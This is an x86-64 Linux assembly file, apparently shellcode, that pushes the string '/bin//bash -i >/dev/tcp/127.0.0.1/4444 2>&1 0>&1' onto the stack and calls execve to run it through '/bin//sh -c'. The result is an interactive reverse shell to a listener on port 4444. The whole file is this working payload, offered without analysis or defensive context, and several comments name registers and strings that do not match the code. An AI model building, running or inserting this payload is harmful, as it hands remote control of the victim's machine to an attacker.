section .text
global _start

_start:
	xor ebx, ebx				; RBX = 0
	xor ecx, ecx				; RCX = 0 (on x86-64 writing to a 32-bit register extends to the full 64-bit register)
	mul ebx					; RAX, RDX = 0

	push rdx				; Push null terminator
	mov rdx, 0x31263e302031263e	        ; ">&1 0>&1"
	push rdx
	mov rdx, 0x3220343434342f31	        ; "1/4444 2"
	push rdx
	mov rdx, 0x2e302e302e373231	        ; "127.0.0."
	push rdx
	mov rdx, 0x2f7063742f766564	        ; "dev/tcp/"
	push rdx
	mov rdx, 0x2f3e20692d206873	        ; "sh -i >/"
	push rdx
	mov rdx, 0x61622f2f6e69622f	        ; "/bin//ba"
	push rdx
	mov rdx, rsp				; R12 -> "/bin//bash -i >/dev/tcp/127.0.0.1/4444 2>&1 0>&1"

	push rbx				; Push null terminator
	mov bx, 0x632d				; Move "-c" into RBX
	push rbx
	mov rbx, rsp				; R13 -> "-c"

	push rax				; Push null terminator
	mov rcx, 0x68732f2f6e69622f	        ; Move "/bin//sh" into RBX
	push rcx
	mov rdi, rsp				; RDI -> "/bin//sh"

	push rax				; Push null terminator
	push rdx				; Push "/bin/////bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"
	push rbx				; Push "-c"
	push rdi				; Push "/bin//sh"
	mov rsi, rsp				; RSI -> {"/bin//sh", "-c", "/bin/////bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"}

	mov al, 0x3b				; Move 0x3b into RAX (execve syscall number)
	cdq					; RDX = 0
	syscall					; Execute execve